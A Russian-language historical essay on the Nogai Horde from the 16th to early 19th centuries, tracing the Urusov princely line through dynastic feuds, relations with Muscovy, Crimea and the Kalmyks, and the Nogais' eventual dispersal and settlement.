-   1521\ 41 – Кошум (Коссум)
(Кутум), князь, за Волгой (прил.24);


  
-   1521 \ 49 – Ших-Мамай,
Аральское море, Сырдарья (прил.23).


Внутренняя борьба за власть не
мешает Ногайской Орде разгромить Казахскую Орду (середина 1530-х годов). 


     Княжение Юсуфа (1549-55) (прил.25,26) совпадает с периодом активизации
внешней политики Московского государства, с борьбой за Казань и Астрахань.
Длительные семейные распри и междоусобицы среди потомства Мусы привели к
расколу на две партии, из которых одна является сторонником Москвы (Исмаил), а
другая ориентируется на Среднюю Азию (Юсуф). События, связанные с взятием
Казани, привели к окончательному обострению отношений между Юсуфом и Москвой. С
причинами личного характера (забрана в Москву дочь Юсуфа Казанская царица
Сююмбека с сыном Утемиш-Гиреем), теснейшим образом были связаны вопросы
политические. В то время, как Юсуф энергично ведет переговоры с противником
Москвы и угрожает военным вмешательством своей «трехсоттысячной» рати в
Казанские дела, Исмаил (младший
брат) в условиях назревающего конфликта все более определенно клонится на
сторону Москвы. Поэтому московское правительство вступило в соглашение с
Исмаилом и его соратниками. В 1554 году русские войска взяли Астрахань, на
престол был назначен племянник Исмаила (по матери) Дервиш-Али. Одновременно
Исмаил выступил против брата Юсуфа. В конце года произошло новое военное
столкновение, в котором Исмаила на этот раз поддержали его племянники Арслан,
сын Кошума и Касай, сын Ших-Мамая. В кровавом побоище были убиты Юсуф и многие
его родственники. Исмаил сделался князем (1555-63) (прил.29).  Новыми правителями Н\О был заключен договор о
дружбе и союзе с Москвой. Трагическая развязка судьбы Юсуфа послужила лишь
началом кровавой семейной распри и междоусобицы среди ногайского княжеского
рода. Она продолжалась на протяжении целого десятилетия до смерти Исмаила и
закончилась полным разорением и распадом 
Н\О. При этом добавилось стихийное бедствие – ужасный голод 1557-58
годов. Последствия неурожая и суровая снежная зима, уничтожившая стада в
заволжских степях, моровая язва, так что в этом году погибло ногайского народа
тем или иным образом, более100.000 человек. Страна ногайцев, будучи страной
великих пастбищ, осталась теперь пустой. 
В связи с происшедшими событиями в конце лета 1559 года заболел и сам
Исмаил. Тяжелым ударом для Исмаила  был
разлад в его собственной семье. Два его сына Кулбай (Инбай) и Тинбай (Танбай)
со своими улусами в конце лета 1558 года отъехали от отца к его врагу,
крымскому хану.


Исмаил скончался в конце 1563
года, одержав победу над большинством своих мятежных племянников, и княжеская
власть в Ногайской Орде в дальнейшем закрепилась за его сыновьями и потомками.
Фактическая власть Исмаила над мятежными улусами держалась помощью Москвы. Иван
Грозный относился к Исмаилу как к надежному союзнику, оказывал ему доверие и
помощь, в ногайских делах поступал нередко по его совету и в его интересах и в
некоторых случаях проявлял  личную заботу
о нем и его семье.


     После смерти Исмаила  происходит распад Н\О и потеря ее
политической самостоятельности: к концу XVI и начало XVII
веков разрозненные ногайские племена подчиняются частью Московскому государству
(Большая Ногайская Орда), частью Крымскому ханству и Турецкому султанату (Малая
Ногайская Орда), частью растворяются в составе казахов Младшего Жуза
(Алтаульская орда).


  
Большая Ногайская Орда (БНО). Составной частью ее территории была река
Урал, окружающая ее степные пространства между Волгой и Эмбой. В низовьях Яика
(Урал), около 50 км.
от устья, находился город Сарайчик, зимняя резиденция ногайских князей. На
востоке, в районе от Эмбы до Аральского моря и низовий Сырдарьи ногайцы
соприкасались с узбеками, а после их ухода в Мавераннахр под предводительством
Шейбани (около 1500) – с распространившейся по среднеазиатским степям Казахской
Орды (наследники Урус-хана). Борьба между ногайцами и казахами за степные
кочевья шла на протяжении всего XVI
века с переменным успехом и закончилась после распада Н\О поглощением ее
остатков казахами, распространившимися на запад до Урала.


С северо-востока, в верховьях
Иртыша и его притоков, ногайцы граничили с Шибанской (Тюменской) ордой
(Сибирское ханство). В концe  XV века при хане Ибаке ногайцы находились в союзнических
отношениях с тюменскими татарами и пересекали со своими стадами пространства от
Урала до Тюмени.


С другой стороны, зимуя на юге
около Каспия, ногайцы во время летних перекочевок поднимались вдоль Волги и
Урала и доходили при этом до Камы и окрестностей Казани (1536). Левый
степной  берег Волги назывался в XVI веке «ногайским», а
правый – «крымский». После распада З\О в 1530-х годах оба берега Волги
становятся вполне обычным районом ногайских перекочевок, являясь
преимущественным уделом младших членов княжеской семьи, «молодых мурз», вначале
Урака и его братьев (1535-38), а затем Исмаила (1548).                                                                                                                     Дальнейшее
продвижение ногайцев с берегов Волги на запад и юго-запад особенно усилилось во
второй половине XVI
века после междоусобиц, разрухи и голода в конце 1550-х годов. Между Азовом и
Кубанью обособляется улус Кази (сын Урака), так называемые «Малые ногаи»,
значительная группа ногайцев уходит в Крым и в Причерноморские степи вплоть до
устья Дуная, смешиваясь здесь с более древним кочевым населением. Здесь они
остаются под номинальным верховенством крымских ханов или турецкого султана
вплоть до присоединения к России Крыма и Таврических степей.


Таким образом, ногайские племена
значительно продвинулись в течение XVI века на запад, соприкасались на протяжении XV-XVI веков:


  
- на востоке с Казахской ордой;


  
- на юго-востоке – с кочевьями туркмен (Огузов);


  
- на Северном Кавказе – с кавказскими горцами (Черкесы, Кабардинцы);


  
- в Крыму и Таврических степях – с Крымским ханством;


  
- на юго-западе, в районе Бессарабии – с владениями Турецкого султана;


  
- на севере и северо-западе – с Московским государством, которое к
середине XVI  века, овладев Казанью
и Астраханью, окончательно утвердилось в среднем и нижнем Поволжье.


Среди ногайских феодалов высший
слой представляли мурзы (мирзы) (сын эмира). Во главе Н\О стоял князь (бек).
Князем становился старший представитель княжеского рода, т.е. наследовали чаще
не сыновья,  а следующие за ним братья в
порядке старшинства, а потом уже племянники. Иногда этот принцип нарушался.
Исмаила, например, наследовали его сыновья, в обход сыновей его старших
братьев. Подобные притязания на власть были обычным поводом для семейных
междоусобиц. Кровавые родовые и феодальные распри обычно сопровождались угоном
скота, грабежами и насилиями, захватом и продажей в рабство пленников и
способствовали разорением мирной массы улусных людей. В условиях такой разрухи
и голода ногайцы расходились по соседним землям в поисках новых кочевий, или
массы откочевывали в Крым, к казахам, в Среднюю Азию (Бухара, Ургенг).   


      Преемники Исмаила, его сыновья, князья
Тинехмат (1563-78) и У Р У С
(1578-1590) (прил.31) (родоначальник Урусовых !!!), которые, находясь в
зависимости от Москвы, старались воспользоваться военными затруднениями
Московского государства в последние годы царствования Ивана Грозного и, в
особенности в период Смуты, восстановить независимость Н\О.


      УРУС мурза по своим способностям довольно
сильно выделялся между своими братьями. Еще при жизни старшего брата Магмета в
1558 году русский посол писал царю, что Урус хочет служить царю, «где государь
ему велит», при этом посол отзывался о нем, как о «лучшем изо всей братьи и
ратному делу». Это энергичный, деятельный и честный мирза, стремился приобрести
расположение русского царя, надеясь, по всей вероятности, получить от него за
свою ревность много денег, оружия, богатых седел и шуб. Но, должно быть, его
преувеличенные надежды не исполнились. К Урусу был прислан посол из Москвы,
служивый татарин, то он так рассердился на царя, что ограбил царского посла.
Чтобы обратить больше внимания русского царя, Урус отправился войной на Крым.
Так как людей у Уруса было немного, то 
его поход не сопровождался серьезными последствиями. Жалованья ему не
добавили, вследствие чего он «гневан» (на русского царя). При этом Урус
отправил послов в Москву от четырех жен своих и от трех сыновей (от которых
пошли Урусовы)  в надежде, что их хорошо
одарят. Но послы от его жен и детей не были приняты, а к самому Урусу был
прислан уже боярский сын, и прибавлено, что только вежливостью можно будет
добиться себе жалованья.  А ведь Урус
хотел многое: «шубы соболью, кунью, горностайну, лисью, бартах с золотом,
седло, золотом писанное, панцирь добрый да 15 беличьих шуб, 10 поставов сукна,
100 рублей денег  да 100 четвертей
хлебом….да 40 батмаков меду». Вив.30. ч188-189сс.


Незадолго до смерти Исмаила (но
после смерти старшего брата Магмета) Урус мурза стал нурадином, и ему была
поручена Волга, об этом он сам уведомляет царя и просит прислать денег, платья,
сукон и хлеба. Но ему прислали меньше, чем его отцу и старшему брату Тинехмату.
Этого не мог вынести Урус и он потребовал (у Ивана Грозного!), чтобы царь его
«смотрел ровно с отцом и с большим братом», говоря, что он, Урус, «много гневен
за то».    После смерти Исмаила авторитет
его преемника Тинехмата князя был незначителен в орде, что брат его Урус
перезывал от него к себе некоторых мирз, с которыми потом кочевал вместе.
Ногайцы в это время были агрессивны, поэтому они вместе с Крымом опустошали
русские территории, либо сами ногайцы вторгались, при чем мирзы сваливали вину
на юсуфовых детей, на казыевских ногайцев и друг на друга. Сильный и
влиятельный из мурз Урус (а ведь он начал править ордой в 89 лет, а умер в 101
год) при угрозе царя, что за их нападения он станет «воевать их», со своей
стороны тоже отвечал угрозой. Мы видели уже, как Урус, будучи третьим сыном,
стремился еще при жизни отца выделиться между своими братьями; видели, что он
добился присылки к нему из Москвы боярского сына, добился нурадинства при жизни
отца и своего старшего брата.  Заметим
тон, которым стал говорить с русским царем, когда тот после нападений его
ногайцев на «русские окрайны» стал грозить ему войной. В результате царь,
стесненный в это время своими отношениями с западными соседями, должен был
понизить (и это Иван Грозный) тон своих замечаний Урусу по поводу грабежей его
улусных людей и просить лично у Уруса отряд из пятисот ногайцев на войну против
своих недругов, а позже уже 3000 ногайского войска и 2000 ратных людей. 


      Из вышерассмотренного видим, что
отношения  БНО с Россией были сложными,
татары всех улусов не один раз совершали набеги, в них участвовали и крымчаки.
Набеги охватывали всю «московскую украйну». Казаки подвергли новому погрому
Сарайчик (столица БНО). В ответ на это Урус захватил московских послов И.
Девочкина с товарищами и продал их в Бухару и другие страны. Отношения с Ордой
достигли наивысшей остроты. Князь Урус пытался не только отстоять независимость
Орды, но и боролся за восстановление татарской власти в Поволжье, а Крым и Турция
были не посильны оказать в этом помощь Н\О. Князь Урус говорил, что «чья будет
Астрахань, и Волга, и Еик, того будет вся Ногайская Орда», поэтому он, скрепя
сердце, должен был подчиниться московской власти и дать в Астрахань и Москву
заложников в 1587 году.


  
Однако, несмотря на грабительские набеги на московские окраины, нередко
в союзе с Крымом, реальной военной и политической силы БНО уже не представляла.
Дальнейшему ее ослаблению способствовали непрекращающиеся ожесточенные
междоусобицы  в огромной семье князя
Исмаила, между сыновьями Тинехмата и Уруса. С другой стороны, по-прежнему
продолжалась борьба БНО с непокорной Москве ордой Казы, кочевавшей в степях
между Азовом и Кубанью, и далее до Терека и Каспийского моря. В этой борьбе
погибли князь Урус и два его сына (вспомним, аналогичная ситуация была у
Урус-хана сто лет назад) (прил.31), а также лидер МНО Якшисат.


      После князя Уруса, погибшего в 1590 году,
княжество в БНО вернулось к ветви Тинехмата: Урмаметь (1590\ 98), Тинмаметь
(1598\ 1600), Иштерек (1600\ 19) (прил.29). Вся смена князей в Орде
сопровождалась ожесточенной борьбой между двумя ветвями.


Первая: старший сын Уруса  Янараслан  
в союзе с сыном Исмаила Тинбаем и Алтаульскими мурзами – Шихмамаевы
дети, а вторая – большая семья сыновей Тинехмата. Московское правительство
поддерживало потомство князя Тинехмата, так как Урус показал себя открытым
врагом русской власти (хотел независимости своей орды), а его сын Янараслан по
всем признакам готов был идти по стопам отца. В 1594 году яицкие и волжские
казаки захватили Янараслана и его сыновей и привезли в Астрахань. Сыновей взяли
в Москву заложниками, крестили под именами Петр Урусов (Урак мурза)  и Александр Урусов (Зарбек).


     Дети мурзы Тинбая закрепили за собой
обладание улусами Юртовских татар, живших полуоседло под самой Астраханью и в
силу этого прочнее всего связанных с московской властью. Они приближались к
служилым татарам, их татары чаще встречались в составе московских  войск на войне (внук Тинбая  Михаил погиб в борьбе с Польшей). Янараслан
мурза и другие потомки Урус князя владели улусами Едисанских татар, также
связанных с Астраханью близостью к ней своих исконных кочевий, но сохранили
кочевой образ жизни. 


Во времена Смуты Московского
государства была смута и у ногайцев. Одни действовали за Москву, а другие
против, через некоторое время может наоборот. По велению царя Василия татарам «
велено « украйных»  и северных городов
воевать,  в полон имать и животы их
грабить за их измену». В 1607 году такой отряд из татар возглавлял князь Петр
Урусов. Действия татар по велению царя на московской украйне переплетались с
самостоятельными действиями отрядов татар из улусов Больших и Малых ногаев. В
течение  карательного похода московских
войск дети Янараслана сбежали,  Петр ушел
в Крым, а Александр к отцу в Астрахань, где и считались «государственными
изменниками».


     Князь Петр Урусов (Урак Янарасланович)
начал  карьеру (после крещения в 1594) в
первых рядах московской придворной молодежи еще при царе Федоре Ивановиче, «а
вина наряжали и пить государю наливали стольник, князь Петр Ерусланович
Урусов». В годы Смуты эта карьера резко изменила свое направление и вышла
несомненно яркой. Бежав, в 1607 году в Крым, Петр сделался там авторитетным
консультантом по московским делам и одним из организаторов нападений на Россию.
Он занял видное положение, породнился с Кантемиром (потомки князей Дивеевых),
принял близкое участие в перипетиях внутренней борьбы Крыма. В 1609 году Петр
Урусов вновь появляется с отрядом юртовых татар в подмосковных районах, нападая
на слободы и   дороги  ведущие к Москве,  создавая столице «великое утеснение»,
затруднение снабжения Москвы по Слободской (на Александрову слободу). После
распада тушинского лагеря и бегства самозванца в Калугу князь Петр Урусов
вместе с поляками ушел в королевский стан под Смоленск. В том же лагере
оказался в конце марта 1610 года Касимовский царевич Ураз-Магмет (Ураз-Мухаммед
– потомок Урус-хана), изменив Василию. У Лжедмитрия были жена и сын Ураза,
который   указал  Самозванцу о ненадежности отца своего.
Последовало убийство Ураз-Мухаммеда в декабре 1610 года. Этот случай послужил
поводом для убийства Лжедмитрия II,
Тушинского  Самозванца Петром Урусовым во
время охоты под Калугой в 1610 году. Затем Петр снова уходит в Крым с 2000
татар и продолжает делать набеги на Россию, Польшу, Астрахань и Азов, а его
отец Янараслан,  захвачен в плен уже
Заруцким в 1613, в 1614 - освобожден на Урале Хохловым. После этого след
Янараслана, сына Урус князя, исчезает (в плену у русских?!). В октябре 1614
года едисанские татары просят назначить вместо князя  БНО Иштерека сыновей Янараслана, а в 1619г.
Едисанских татар возглавил уже сын Сатыя Алей мурза Сатыев Урусов. Значит,
Янараслана уже в живых не было. 


 

3.НОГАИ (продолжение).


          С конца XVI и в начале XVII веков род Урусовых разделяется:
одна часть забрана заложниками в Москву, где были крещены в православие, а
другая часть осталась в БНО, владея семейными улусами, продолжали борьбу за
независимость своего государства с Россией, МНО и калмыками. С этого времени о
преемниках Урус князя в литературе нет ничего конкретного, только общее о
едисановских и юртовских татарах. В 1619 году умерли одновременно князь БНО
Иштереков и нурадин Шайтерек, что обострило борьбу между мурзами,
претендовавшими на эти чины в орде. Наступило новое звено в родовой вражде мурз
между собой Урмамета и Тинмамета. На стороне Урмамета приняли участие юртовские
и едисанские татары. В Орде произошел очередной раскол: от ногаев отделились со
своими улусами Канай мурза Тинбаев (с ним более 5000 едисан) и Алей мурза
Сатыев Урусов (с ним до 1000 человек) и явились в Астрахань «на государево
имя». Одновременно из ногайских улусов было освобождено до 15000 русского
полона.  Московская политика могла
торжествовать политический успех. Удалось разделить и ослабить орду, уничтожить
наиболее энергичных противников, привести часть улусов к более тесной
зависимости от  Астрахани. С 1619 по1622
год обе части Ногайской орды мирно кочевали – одна по Волге, другая по Уралу и
Эмбе. 1622-1623 года дали новый всплеск нападений татар (азовских, крымских,
белгородских ногаев, т. е. ногаев Дивеевых). Объяснение набегов надо искать в
том, что был получен спецзаказ на добычу полона (в Азове стояло много кораблей
турецких купцов). Набег 1623 года возглавлял Петр Урусов, зять князя
Белгородской орды, который после набега 
на Россию в Крым не вернулся, а ушел к Кантемиру.


    В связи с изменившейся обстановкой в Турции
и Крыму  Москве пришлось назначить князем
БНО старейшего в НО мурзу  Канай Тинбаева
с 1623 года. Князь Канай стоял во главе юртовских татар, отряд которых
действовал против поляков в 1617-1618гг. Сын его Михаил Канаев служил в Москве.
В  качестве воеводы князь Михаил Канай
мурзин сын Тинбаев-Урусов ходил воевать в литовскую землю. В 1617 году погиб
под Москвой с поляками геройски.


Усиление потомков Тинбая и
близких к ним мурз Урусовых после возведения Каная в Князья, вызвало примирение
и сближение между собой мурз Урмаметевых и Тинмаметевых. Обострилась давняя
вражда мурз Тинехматовых с Урусовыми и Тинбаевыми. В этой атмосфере  вражды и соперничества был убит сын Иштерека
во время его проезда через улус Батырча мурзы Янараслановича  Урусова, 
который был посажен в тюрьму. В 1628 году Тинехматовы, объединившись,
забрали улусы у Тинбая, а алтаульский мурза Салтанай (третья часть Ногайской
орды), сговорившись с калмыками, захватил ногайцев. После взаимных погромов,
столкновений со страшными для них калмыками, метаний по степям, неудачных
попыток прорваться за Волгу ногаи еще раз собрались под Астраханью. Власть
князя лишилась авторитета. Ногаи «поисшатались», улусы обнищали. Мурзы не могли
самостоятельно «разделаться» в своих ссорах. В декабре 1628 года они обратились
к воеводам, решили подчиниться царской воле, суду и обороне, но челобитие мурз
было отклонено, правительство не хотело вмешательства в ссору «всяких вер
людей». В течение 20-30-х годов русское правительство добивалось лишь одного –
предотвращения новых нападений ногаев на Русь и освобождения полоненных за счет
укрепления своей власти в орде, в то же время ослабляя ее.


     В конце 1630 года калмыки вместе с главой
алтаульских татар мурзой Салтанаем неожиданно напали на ногайские улусы,
разгромили (в том числе едисанских ногаев). Астраханские стрельцы почти ничем
не смогли (не хотели) помочь (потеряно 21000 лошадей, 1400 человек убитыми,
40000 кибиток забрано в плен). Остатки ногаев перешли Волгу и остались там.
Только юртовские  и едисанские ногаи,
жившие в непосредственной близости к Астрахани и под ее охраной, остались на
месте.


В 1633 году была решена  посылка на Малых ногаев через Астрахань
ратных и служилых людей, ногайских, юртовских и едисанских татар, терских,
черкасских и кумыкских мурз. Нападение на Казыев улус произошло недалеко от
реки Куры и шло в сторону Черного моря, подвергая погрому ногайские улусы,
освобождая полон русских людей. Ногайцы просили организовать аналогичный поход
и на калмыков, но Россия, занятая Польшей, отказалась. Тогда, стараясь
предупредить новые нападения калмыков, мурзы стали самостоятельно
договариваться с ними. Мурза Борис Янарасланов Урусов, минуя астраханских
воевод, пытался добиться возвращения отнятых калмыками едисанских улусов,
обещав калмыкам кочевать вместе с ними; мурза Борис был задержан воеводами.
13апреля 1633 года калмыки снова напали на улусы князя Каная и Урусовых мурз (и
это под самой Астраханью), погромили их и частью захватили. Астраханские
стрельцы не спешили преследовать калмыков. Князь Канай горячился, начальникам
ратных людей говорил всякие «поносные слова». В самом начале 1634 года новый удар,
нанесенный калмыками орде Больших ногаев, 
вынудил ее покинуть свои старинные кочевья и перейти на крымскую сторону
Волги; калмыки вытеснили ногаев до самой Волги. Россия не смогла (или не
хотела) оказать помощь БНО, поэтому, объединившись, Большие и Малые ногаи
совершали на Русь набеги в течение 1634-36 годов, а,  пробившись через  Дон, объединились с Крымом территориально.
Это было ударом для Московского правительства,    и  в
1634 году Россия срочно заключает с Польшей перемирие.


    Калмыки с 1634 года сделались полными
хозяевами заволжских степей. Они настолько осмелели, что в начале 1635
года  снова     сделали нападение на улусы едисанских и
юртовских татар, обитавших под стенами Астрахани и под ее охраной. Но охрана не
помогла, побоялись нападать и преследовать калмыков. Калмыки беспрепятственно
захватили у ногайцев загоны скотины и животных.


      О состоянии орды Больших ногаев  в это время свидетельствует список мурз,
задержанных в Астрахани (это и есть помощь ногаям):


 
- Князь  БНО  Канай сидел в «калмыцком деле» (договаривался
самостоятельно с калмыками;


 
- мурзы Урмаметов и Тинмаметов сидели за «крымскую смуту»;


 
- Ак-мурза Байтереков  хотел
«государю изменить» (в Смуту какому «государю»), уехать в Крым;


 
- Нурадин  Кара-Кельмамет убит;


 
- Борис мурза Янарасланович 
Урусов – в «калмыцком деле», и т.д., т.е., обезглавлены все улусы БНО.


Таким образом, калмыки подчинили
Алтаульскую орду, захватили до 300 дворов и до 3000 едисан (Урусовых). Калмыки
использовали их против Астрахани, да и сами ногайцы не  хотели возвращаться, потому что «им в
калмыках кочевья пространны и повольны, где хотят, тут и кочуют, а под
Астраханью им кочевья негде». Поэтому оставшиеся все ногаи БНО перешли за Волгу
и Дон и стали кочевать под Крымом.


 
С 1635 года на южной «окрайне» Московского государства начинается
крупнейшее оборонительное строительство. Это была мера, проистекающая из опыта
ведения Смоленской войны с Польшей и из-за постоянных набегов ногаев на
российскую украйну.


При строительстве обороны татары
дважды нападали на Русь в 1644 и 1645 годах, при этом обнаруживались слабые
стороны оборонительной системы: разбросанность вооруженных сил, медлительность
их сосредоточения в нужном месте, отсутствие единого руководства на месте.


    Степные пространства между Волгой и Доном в
1636 году  опустели. Азов был обнажен и
лишился опоры в орде Малых ногаев. Напротив, крымцы радовались значительным
приращениям своих сил (150 тыс.) и решили использовать момент для расчета с
Кантемиром (Белгородская орда). Решительное столкновение произошло  в 1637 году. Князь Кантемир (не более 20
тыс.) бежал с семьей в Турцию, крымчане разорили улусы Кантемира, захватили
семьи мурз, имущество, но вооруженные силы Кантемира и его союзников уцелели («до
мурз и табор не дошли»). Руководителем этих войск были брат Кантемира и князь
Петр Урусов, зять Кантемира (да, все тот же самый). Они как бы сдались
крымчанам и перешли на их сторону, но на обратном пути в Крым они напали на
Калги Крыма Хусам Гирея и его брата нурадина Сеадет Гирея и убили их. Крым
охватила паника, многие бежали кораблями. Турция назначила нового царя Крыма
Бегадыр Гирея, старый царь Инайет Гирей был удавлен. Вскоре та же участь
постигла и Кантемира (в Турции, конечно). А в 1639 году закончилась богатая
событиями и приключениями жизнь князя Петра Янараслана Урусова (Урак мурза),
когда  он и его два сына (от дочери
Кантемира) были убиты царем Крыма Бегадыром Гиреем, а также множество мурз
Мангитских, Мансуровых, Дивеевых (Кантемировых), и дети-мальчики, и даже жены
мурз, если они были беременны. После такого кровавого мщения из Крыма под Азов
в 1638-39 годах ушла основная масса ногаев Больших и Малых, ушла через Дон, но
Волгу на левый берег не переходила, боясь калмыков. В самой орде не было
единства, а только вражда, орда не имела общего руководства, князя.


     Начало осады Азова турецко-татарской
армией в 1641 году вызвало новое перемещение орды Больших ногаев, но
разорительная для ногаев склока мурз Урмаметовых и Тинмаметовых между собой
из-за улусов не прекращалась.


В 1643 году калмыки вместе с
алтаульскими татарами снова нагрянули под Астрахань и совершили нападение на
ногайские улусы.  Многие едисанские
(Урусовы)  мурзы изменили (сколько можно
терпеть нападений без защиты), вышли из своих кочевий из-за реки Кутумова,
захватили часть ногайских улусов и соединились с калмыками. Остальные ногаи
снова ушли за Волгу на «крымскую сторону», не надеясь на охрану русских войск.


В 1644 году калмыки пытались
напасть на Терский городок, но были разбиты кабардинцами и ногаями, их отступление
превратилось в беспорядочное бегство. При переправе через Волгу калмыки
подверглись нападению астраханских ратных людей, а уфимские ратные люди напали
на реке Урал. Эта неудача сломила наступательный дух калмыков.


К 1646 году под властью калмыков
находились:


    - едисанские мурзы Аблы мурза Тинбаев в 700
дворов улусных людей;


    - ногайские мурзы Тинмаметовых в 500
дворов;


  
- алтаульские мурзы Салтаная  в
500 дворов.


Под Астраханью оставались:


  
- едисанские татары численностью в 1500 человек;


  
- юртовские татары – до 1000 человек.


На «крымской стороне Волги
ногаев  до 5000 человек, а в степях ближе
к Тереку тоже до 5000 человек.


В эти годы Россия, видя такое
бедственное положение ногаев, стремилась быстрее «добить» их. В Астрахани и
других городах  юго-восточной России были
задержаны лучшие и  активные ногайские
руководители, которые стремились к независимости своих улусов. В Астрахани
существовали аманатные дворы, малые дворы, аманатные дворы улусных родственных
людей, аманатные дворы с кормовым окладом (посадские дворы) и т.д. В этих
«дворах» сидели лучшие ногайцы всех улусов со своими семьями (женами и детьми)
и прислугой: Тинмаметовы, Урмаметовы, Иштерековы, Юртовские, Алтаульские,
Исуповы, Байтерековы, Едисанские и т.д.  
Едисанские мурзы Урусовы (прил.31):


 - Алей мурза Сатыевич и его сыновья Мамадемин
и Ислам Алеевичи;


 -Янсох и Батырша мурзы Янарасланович   с сыном Аксары Батыршовы;


 - Курмаш мурза Канмурзинович и его  сыновья 
Коль и Дергучей  Курмашовы.


Некоторые мурзы сидели в аманатах
с «означением месячных кормовых им окладов. Аксары мурза Батырчина сына
Урусова, человек его – 15 алтын 3 деньги, по 2 деньги на день ( на сентябрь
месяц 1649 года) и его же улусный родственный человек Бокай-Токай Ажиев – 20
алтын 4 деньги, по 4 деньги на день» и т. д. Другие мурзы были в плену у
калмыков ( князь Борис  Янарасланович
Урусов), а третьи – в заложниках в Москве (Александр и Иван
Янараслановичи,   Борис и Петр Канмурзиновичи,  Андрей Сатыевич У р у с о в ы).


    Столкновения с калмыками, многократные
отходы к Крыму и обратные кочевья, сопровождавшиеся  тяжелыми потерями, нанесли очевидный и весьма
значительный ущерб силе орды. От нее откололись части, довольно крупные по
своей численности, которые стали жить каждая своей особой жизнью. Осколки орды
не только не имели между собой связи, но обнаруживали стремление к постоянным
посягательствам друг на друга. Многочисленные поколения мурз обнаруживали явную
неспособность поддерживать единство орды. Напротив, мурзы были погружены в
нескончаемую и непримиримую вражду и борьбу, в жертву которой были принесены
общие интересы ногаевских улусов. Среди мурз было много лиц, воинственных и
задорных, но не оказалось личности крупной и сильной (как Эдигей), которая бы
взяла на себя задачу объединения ногайских улусов. Московское правительство
предпочитало иметь дело с отдельными мурзами порознь, чем иметь общее
руководство НО, иметь общего князя НО.


Алтаульская орда вошла в состав
калмыков и казахов младшего жуза (орды). Малая НО переместилась к горам
Кабарды, а затем в южно-украйнские степи, где распалась на отдельные орды.
Часть БНО осталась в Крыму (Урмаметовы), часть кочевала около Астрахани на
«крымской стороне» (Тинмаметовы), на «ногайской стороне» - едисанские и
юртовские ногаи. Часть БНО объединилась с МНО на Тереке, под Терским городком;
но все они распались, одни раньше, другие позже на мелкие, местные, семейные
улусы, которые с присоединением Крыма в 1783 году были присоединены к России,
но продолжали кочевать  уже внутри
России.


  
1. Юртовские (Астраханские
татары) – городские, аульные и кочевые ногайцы, владельцы,  потомки Тинбаевых и Урусовых (в
рассматриваемый период – Казы сын Алея Сатыева Урусова – двоюродный брат
русского князя Семена Андреевича Урусова, продолжателя русской фамилии
УРУСОВЫХ) (прил.31). Зимой они находились под Астраханью, а летом кочевали на
Урале и Эмбе.


Аульных   и 
кочевых  ногаев    в      
1556 году было 25000 семей,


                                                     
в       1715         стало12000,        


                                                      в       1772                  1200 семей.


           Городских ногаев в 1772 году – 800
человек, 


                                         
в  1852        - 5293 мужчин и 4576 женщин.


           В 1852 году юртовских ногайцев было
всего 9 улусов:


             - улус Нур-Адиля Урусова (?);


             - улус Бий мурза Урусов
(троюродный брат Адиля) и т.д.  


     Это последние известия о роде Урусовых в
Ногайской Орде.



                 2. Крымские (Таврические) татары. Таврида (Крым) имела очень малое
население, и только при ханах Гиреях, особенно 
при  Менгли Гирее,  который, победив на Волге ногаев, переселил в
Крым несколько тысяч  ногайцев. Примеру
его последовали преемники, они завладели Российскими степями, около Черного и
Азовского морей и на Кубани. Таврические татары происходят от ногайцев, но
смешались также с мунгалами. Позднее уже сами ногаи, убегая от калмыков,
прятались на крымской стороне Волги. Ведь и князья крымские тоже ногайские
Ширинские, Мансуровы. Таким образом, в Крыму были многие из рода ногайцев
(Едисанские, Джембойлукские, Едишкульские…) и когда в 1770-х годах русские
начинают движение к Крыму, многие из ногайцев ушли из Крыма. Оставшийся в Крыму
едисанский мурза Темир Султан рассчитывал склонить татар к добровольному
подчинению России, но это ему не удалось. Дальнейшая судьба ногайцев тесно
связана с историей Крымского ханства (ранее рассмотренное). Россия пыталась
создать из ногаев особое независимое от Крымского ханства свое ханство в целях создания
оплота против Турции.


  
3. Едисанские ногаи
(Джетысанские татары – «семь родов»). Этой ордой владели Янараслан мурза и
другие потомки Урусовых. Во второй половине XVII века во главе едисан был Алей, сын Сатыя Урусова, позднее
служивший России. Орда вела кочевой образ жизни, ее кочевья располагались около
Астрахани. Едисанцы пережили ту же жизнь, что и все ногайцы. Междоусобица между
братьями Тинехматом и Урусом, между  БНО
и МНО, набеги на Россию, защита от калмыков, борьба за лучшие кочевья внутри
орды. В 1645 году калмыки захватили под Астраханью едисанских мурз (Борис
Янарасланович Урусов). Кроме Астраханских едисан, кочевали и другие
едисаны.  Степан Разин возле Царицына
нападал на Волжских едисан. В середине XVII века часть едисан (когда ногайцы метались как мыши в клетке)
ушла на запад, в низовья Днепра и Днестра, образовав там Буджакскую орду
(рассмотрим позже).


  
В 1715 году крымчане напали  с
Кубани на калмыков и увели 10300 кибиток ногайцев (в том числе и едисан). С
1721 года Петр I, а позднее
Екатерина II, после
вхождения калмыков в Российское подданство, для того чтобы ногайцы не делали
набегов на юго-восточные границы России, расселяли их среди калмыков (т.е.
поощряли захват калмыками ногайских улусов). Возникла новая волна перемещений
ногаев, часть едисанцев переместилась в Крым (12000 кибиток), часть перешла
Дон, на правую сторону Кубани (Краснодарский край) – до 80000 человек, часть –
в Ставропольский край (Северный Кавказ) – 132 кибитки, реки Калаус и Горькой
Балки, 5 едисанских мурз в Россию. В 1773 году был заключен договор между
Россией и ханом Крыма  Сагиб-Гиреем
(присутствовали представители едисан, едишкульцев и джембойлуков) о
независимости ногайских орд. В это время кочевья едисан были на реках
Кегальник, Чубур, Ей и Калам (Краснодарский край).


     После присоединения Крыма к России (1783)
новые  волнения: переселение татар Крыма
на УРАЛ. Татары (ногайцы)  «бежали» куда
глаза глядят, убивали жен, детей, чтобы только спастись. Остатки развеялись по
Северному Кавказу (Ставрополью), по рекам Калаус Большому и Малому, Янкулям,
Кугульт, Куме и др., а также в трухменскую степь, в Мелитопольский уезд  Херсонской губернии.


     В 1801 году начальником ногайских орд был
назначен француз Де-Мезон, который добивался оседлости ногайцев, для этого он
сжигал кибитки, расселял ногайцев по крестьянским деревням различных губерний
(Саратовская, Ставрополье, Северный Кавказ, Украйна), строились ногайские
деревни (67деревень – за два года). Поэтому с начала XIX века ногайцы как кочевой народ прекращают
существование, а начинают подразделяться по месту жительства:


  
- мелитопольские (Украйна), в 1801 году в Мелитопольском уезде было 67
семей, 404 дома, 669 кибиток;


  
- калаусо-саблинские (Северный Кавказ, Ставрополье, пос. Саблинское);


  
- калаусо-джембойлукские (на реке Калаусо);


  
- бештово-кумские (на реке Кума);


  
- трухменские (трухменские степи);


  
- ачикулакские (ногайская степь, р. Кума);


  
- Караногайцы (Кизлярская степь).


